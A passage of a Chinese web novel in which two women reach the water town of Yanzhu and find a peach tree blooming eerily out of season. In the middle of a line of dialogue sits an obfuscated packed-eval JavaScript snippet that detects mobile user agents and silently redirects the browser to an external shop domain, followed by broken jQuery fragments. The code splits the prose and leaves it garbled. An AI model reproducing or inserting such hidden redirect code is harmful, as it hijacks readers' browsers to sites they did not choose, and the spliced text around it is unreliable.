阿莲在被子里摇了摇脑袋，过了好一会儿才闷声说：“记不清，都是些碎的，火，水，桥，船，有人喊我的名字，还有，”她顿住了，好半天没往下说。
“还有什么？”
“还有水生。”阿莲把被子掀开一条缝，露出一双红彤彤的眼睛，“他在水里喊我，叫我的名字，让我走，让我离开这里。”
“我好像沉在水底，水面上有月亮，我在水底下看着月亮，它晃晃悠悠的，我怎么也够不着，水好冷，水真的好冷，冷得我的骨头都要碎了。”
顾星没再问了，她把枕头拍松了，重新躺下，侧过身面对着阿莲的方向，手伸过去，覆在阿莲攥着被角的拳头上。
“再过两日就到了，”顾星声音很轻，“到了烟渚，我陪着你走一遍，我们去弄清到底发生了什么事。”
阿莲从被角里伸出头来，看了顾星好一会儿，嘴角动了动，想说什么，又抿住了嘴。
她把手从被角上松开来，翻了个身，把脑袋挪到顾星手边，没有碰上去，就挨着，枕着那块月光，闭了眼。
过了很久，她的呼吸才慢慢匀下来。
顾星没睡，睁眼看着外面的月亮。
她听着阿莲平稳下来的呼吸声，又听着远处水渠里断断续续的蛙鸣，脑子里突然浮出一个画面，一条河，水面宽宽的，一艘模样精致的小船在其中摇曳，上面站着个人……
第二天一早，天蒙蒙亮，老婆婆端了两碗稀粥进来，顾星道了谢，推醒阿莲。
阿莲坐起来，眼睛不红了，眼眶周围那圈暗红褪了大半，但人还是蔫蔫的，喝粥的时候低着头，一口一口慢慢地抿，像在数米粒。
喝完粥出了门，马车已经套好了，老婆婆站在马旁边，摸着马的脑袋，笑呵呵，一脸慈祥，“过了前面那座桥，再走一段路，过两日就能到烟渚了。”
顾星谢过老婆婆，留下银子，赶着马车走了。
老婆婆望着她们离开，自言自语，“好久没去烟渚了，也不知道烟渚变成什么样了。”
路变得更窄了，水道却多了，一座座青石拱桥横在水面上，桥身被晨雾笼着，半截在雾里半截在水上。
透过桥洞，能隐隐约约瞧见对面黛色的瓦顶和白色的墙，密密匝匝地挤在一起。水面静静的反着光，有早起的船摇过去，桨声顺着水波一漾一漾地送过来。
阿莲趴在马车的窗户上，看着桥，看着桥那边的屋脊和水巷，手指抠着车板的边沿，声音不大，“我先前来时是坐船，一开始坐不习惯，一直吐，一直吐，后来习惯了，就不吐了。”
“我当时觉得这地方可好了，到处都是水，水这么多，就不怕旱了。”
“这地方的人讲话轻声细语的，与我家乡不同，听着就舒服。”
“一开始来时，看见什么都稀奇，遇上什么都能盯着看半天。”
风从桥那边吹过来，带着水汽和炊烟的味道，吹在阿莲脸上，吹得她的头发丝微微晃动。
她眼睛直直地望着那座桥，望着桥洞底下打着旋的深青色河水。
半点不提以往的伤心事，只说有趣的事。
又走了两日，总算到了烟渚。
马车碾过桥面的青石板，车轮发出咕噜咕噜的闷响，桥不高，但拱得圆润，从桥顶望出去，烟渚就像一幅铺在水面上的画，白墙黛瓦挤挤挨挨，高低错落，檐角上挂着风铃，风一吹，叮叮铃铃作响。
水巷密得像蛛网，窄的地方只容一条小船挤过去，宽的地方能并排走三四艘乌篷。
岸边的石阶一级一级浸在水里，被水泡得发黑，上面爬满了绿苔，有小媳妇蹲在石阶上冒雨浣衣，棒槌起落的动静透过雾气传过来，闷闷的，隔了一层纱似的。
顾星勒了勒缰绳，马放慢了步子，她从车辕上下来，牵着马往前走，车轮碾过湿漉漉的石板路，溅起水滴落在她的裤子上。
雨丝细得几乎看不见，落在脸上痒痒的，雾气从水面升起来，贴着地面游走，把街巷和屋舍都蒙了一层薄薄的半透明纱，人影在雾里走着走着就模糊了，像墨洇了水。
阿莲缩在车帘后面，帘子掀开一条缝，两只手扒着帘边，眼睛一眨不眨地看着外头，她看了很久，嘴唇微微张着，像在辨认什么。
“这儿变了好多。”阿莲忽然说，声音轻得像自言自语，“我记得砖瓦房要多上许多的，怎么现在都成了棚子，”竹篾编的棚子，下雨天滴滴答答漏个没完。
顾星回头看了她一眼，没说话，继续牵着马往前走。
街面上人不多，偶尔过去一个撑油纸伞的，伞面挡着脸，走得慢吞吞的，路过她们的时候偏了偏头，伞沿底下露出一截苍白的下巴，很快就转过去了。
街边铺子开着门，卖绸缎的、卖糕点、卖笔墨的，铺子里头人影绰绰，就是没什么声音，掌柜的低头拨算盘，珠子碰珠子，咔嗒咔嗒的，清脆得有些突兀。
吆喝声，小孩追逐打闹的动静，狗叫声都像隔着一层雾，朦朦胧胧的，雨丝落在瓦顶上，沙沙沙的。
“有些不对劲。”顾星皱起了眉，这地方正常的有些诡异了。
阿莲“嗯”了一声，将帘子掀开，探出半边脸来，“以前不是这样的。我记得以前河边有唱曲儿的，有卖糖粥的……现在，都没了。”
阿莲又自己嘀咕了一句，“可能是因为下雨了吧，等雨停了，他们兴许就出来了。”
马车沿着河岸又走了小半里路，河岸这边的房子比方才见着的矮一些，多是些旧屋，墙皮剥落了，露出里头的灰砖，有些墙根直接浸在水里，绿茸茸的苔藓从水线一直爬到半人高的地方。
水面漂着几片枯黄的柳叶，随水波慢慢打着旋，像个走不出去的圈子。
阿莲的帘子掀开着，她歪在车厢口，下巴搁在车板的边沿上，两只眼睛望着外头。
雨丝沾在她的眉毛上，凝成细小的水珠，一颗一颗亮晶晶的，她也不擦，就那么任它挂着。
忽然她坐直了身子，一只手猛地拍在车板上，拍得木板咚咚响，“停——停停停！”
顾星勒住缰绳，马收了步子，蹄子在石板上蹭了两下，站稳了。
顾星回头看向阿莲，阿莲已经从车厢里探出大半个身子，手直直地指着河岸对面的方向，“你看，就是那棵桃树。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882804|209381||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
顾星顺着她指的方向望过去，河对岸有一棵老桃树，长在一户人家的院墙外头，挨着水边，树干粗壮，乌沉沉的，树皮皴裂得像老人的手背，歪歪斜斜地往河面上倾。
那棵桃树长得有些怪，别的树都是往上长，它偏偏横着长，像是被什么压弯了腰，整棵树的身子几乎横着探出河岸，一半的枝杈都悬在水面上空。
顾星看着这棵桃树，面色凝重。
“就是这棵树，”阿莲开口，“我来的那天也下着雨，跟今天一样，毛毛的，落在身上痒痒的。船路过桃树，我站在船头，抬头就看见这棵树，满树的花，粉白粉白的，整棵树都是，我从没有见过这么好看的花，一下子就看呆了，身子往前一探，”
这话，顾星听她说过。
阿莲边说边从马车上跳下来，站在河岸边的石阶上，隔着几丈宽的水面望着那棵桃树。
阿莲说着说着，就往河边走去，脚在湿石阶上打了个滑，顾星眼疾手快一把拽住她的胳膊，阿莲被拽得往后一仰，踉跄了两步才站稳。
她看了看自己的脚，又看了看面前的水面，忽然笑了一声，带着些甜，又带着些苦，“然后我就掉下去了，噗通一声，水花溅得老高，船上的人七手八脚拿竹篙要把我捞上来，我当时却怕得失了智，只会乱扑腾了，我还以为我要死在这桃花下了，”
“这时，水生来了，他救了我，我当时呛了好几口水，趴在船板上咳，咳完了抬头看向他，尖尖白白的脸，正在水中对我笑。”
阿莲说完这个，笑意慢慢收回去，嘴角垂下来，歪着头看着那树，目光顺着树干一点点往上移，她安静了一会儿，雨珠从她的眉骨滑下来，滑到下巴尖，滴在胸前衣襟上，洇成一朵深色的花，“现在，是桃树开花的时节吗？”
她问得很轻，眼珠转了一下，转向顾星的方向，那道目光透过雨雾递过来，带着一种茫然的、小孩一样的困惑。
顾星站在她旁边，看着那棵横在水面上的桃树，又看了看她们来时的路。
路两旁的树叶子黄了大半，被雨打得零零落落地铺在地上，湿漉漉地贴着石板。
墙角有几丛菊花，已有衰败的迹象。
现在已过霜降，再不久就要立冬了，而桃树的花期在清明前后，春分的时候开得最盛，到了谷雨就开始落了，四月一过，枝头上就只剩青叶子。
这时节的桃树，该是满树枯叶，哪里会有花。
可那棵桃树就立在两人面前，满枝的粉白，花瓣被雨洗得干干净净，在灰沉沉的天色底下亮得刺眼。
风过的时候，花瓣簌簌地往下落，落在水面上，被水波推着，一圈一圈散开去。
一瓣被风吹到石阶上，正好停在两人脚尖前面，粉白的，小小的，边缘有一点点卷。
顾星蹲下身，把那瓣桃花捡起来搁在掌心里，指尖触到的花瓣冰凉柔腻，是新鲜的，像刚从枝上落下来不久，她拈着那片花瓣翻过来看了看，花瓣背面干干净净，没有虫眼没有焦边，根部还带着一点点青。
“这时节不开桃花，”顾星的话带着一丝困惑，但这又确确实实是桃花。